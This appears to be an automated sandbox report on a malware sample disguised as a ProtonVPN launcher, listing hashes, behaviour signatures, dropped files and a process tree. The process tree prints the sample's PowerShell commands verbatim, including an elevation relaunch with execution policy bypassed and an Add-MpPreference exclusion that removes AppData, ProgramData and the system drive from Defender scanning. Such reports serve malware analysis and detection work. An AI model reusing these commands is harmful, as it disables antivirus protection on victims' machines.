Analysis

  • max time kernel
    32s
  • max time network
    145s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-fr
  • resource tags

    arch:x64arch:x86image:win11-20240802-frlocale:fr-fros:windows11-21h2-x64systemwindows
  • submitted
    07-08-2024 18:56

General

  • Target

    ProtonVPN-10_11/data/appInfo/services/Launhcer.exe

  • Size

    364KB

  • MD5

    e5c00b0bc45281666afd14eef04252b2

  • SHA1

    3b6eecf8250e88169976a5f866d15c60ee66b758

  • SHA256

    542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

  • SHA512

    2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

  • SSDEEP

    6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ProtonVPN-10_11\data\appInfo\services\Launhcer.exe
    "C:\Users\Admin\AppData\Local\Temp\ProtonVPN-10_11\data\appInfo\services\Launhcer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3844
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2984
      • C:\Users\Admin\AppData\Local\Temp\ProtonVPN-10_11\data\appInfo\services\data\Launcher.exe
        "C:\Users\Admin\AppData\Local\Temp\ProtonVPN-10_11\data\appInfo\services\data\Launcher.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5060
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:568
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1572

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    ac4917a885cf6050b1a483e4bc4d2ea5

    SHA1

    b1c0a9f27bd21c6bbb8e9be70db8777b4a2a640f

    SHA256

    e39062a62c3c7617feeeff95ea8a0be51104a0d36f46e44eea22556fda74d8d9

    SHA512

    092c67a3ecae1d187cad72a8ea1ea37cb78a0cf79c2cd7fb88953e5990669a2e871267015762fd46d274badb88ac0c1d73b00f1df7394d89bed48a3a45c2ba3d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    54e6233b455317b511b7833b2d817de7

    SHA1

    7c25d9b07c1efb5737f46e4483e278c4ffaea7e1

    SHA256

    b34361b26795cf072bdfe4e50d30f993e59207dc52602b04928139cb2950340f

    SHA512

    2e91d765009f07c9c0f8f79d248945481c2b69ea97f88ae6e04e636e799174277fa31456ea989e2a11033b7f7debb7ccc5a2baeef2303992afada26883e477b8

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_im214knz.zg1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/568-47-0x0000000007970000-0x0000000007985000-memory.dmp

    Filesize

    84KB

  • memory/568-31-0x0000000007350000-0x0000000007384000-memory.dmp

    Filesize

    208KB

  • memory/568-42-0x00000000075B0000-0x0000000007654000-memory.dmp

    Filesize

    656KB

  • memory/568-32-0x0000000070450000-0x000000007049C000-memory.dmp

    Filesize

    304KB

  • memory/568-49-0x00000000079A0000-0x00000000079A8000-memory.dmp

    Filesize

    32KB

  • memory/568-48-0x00000000079B0000-0x00000000079CA000-memory.dmp

    Filesize

    104KB

  • memory/568-46-0x0000000007960000-0x000000000796E000-memory.dmp

    Filesize

    56KB

  • memory/568-45-0x0000000007920000-0x0000000007931000-memory.dmp

    Filesize

    68KB

  • memory/568-44-0x00000000077A0000-0x00000000077AA000-memory.dmp

    Filesize

    40KB

  • memory/568-43-0x0000000007D60000-0x00000000083DA000-memory.dmp

    Filesize

    6.5MB

  • memory/568-41-0x0000000007390000-0x00000000073AE000-memory.dmp

    Filesize

    120KB

  • memory/2984-18-0x00000000066B0000-0x00000000066FC000-memory.dmp

    Filesize

    304KB

  • memory/2984-2-0x0000000005AA0000-0x00000000060CA000-memory.dmp

    Filesize

    6.2MB

  • memory/2984-20-0x0000000006B40000-0x0000000006B5A000-memory.dmp

    Filesize

    104KB

  • memory/2984-59-0x00000000739D0000-0x0000000074181000-memory.dmp

    Filesize

    7.7MB

  • memory/2984-5-0x0000000005770000-0x0000000005792000-memory.dmp

    Filesize

    136KB

  • memory/2984-21-0x0000000006B90000-0x0000000006BB2000-memory.dmp

    Filesize

    136KB

  • memory/2984-19-0x00000000075E0000-0x0000000007676000-memory.dmp

    Filesize

    600KB

  • memory/2984-4-0x00000000739D0000-0x0000000074181000-memory.dmp

    Filesize

    7.7MB

  • memory/2984-17-0x0000000006620000-0x000000000663E000-memory.dmp

    Filesize

    120KB

  • memory/2984-22-0x0000000007E80000-0x0000000008426000-memory.dmp

    Filesize

    5.6MB

  • memory/2984-0-0x00000000739DE000-0x00000000739DF000-memory.dmp

    Filesize

    4KB

  • memory/2984-8-0x00000000061D0000-0x0000000006527000-memory.dmp

    Filesize

    3.3MB

  • memory/2984-7-0x0000000005980000-0x00000000059E6000-memory.dmp

    Filesize

    408KB

  • memory/2984-53-0x00000000739DE000-0x00000000739DF000-memory.dmp

    Filesize

    4KB

  • memory/2984-54-0x00000000739D0000-0x0000000074181000-memory.dmp

    Filesize

    7.7MB

  • memory/2984-55-0x00000000739D0000-0x0000000074181000-memory.dmp

    Filesize

    7.7MB

  • memory/2984-3-0x00000000739D0000-0x0000000074181000-memory.dmp

    Filesize

    7.7MB

  • memory/2984-1-0x0000000002E40000-0x0000000002E76000-memory.dmp

    Filesize

    216KB

  • memory/2984-6-0x0000000005820000-0x0000000005886000-memory.dmp

    Filesize

    408KB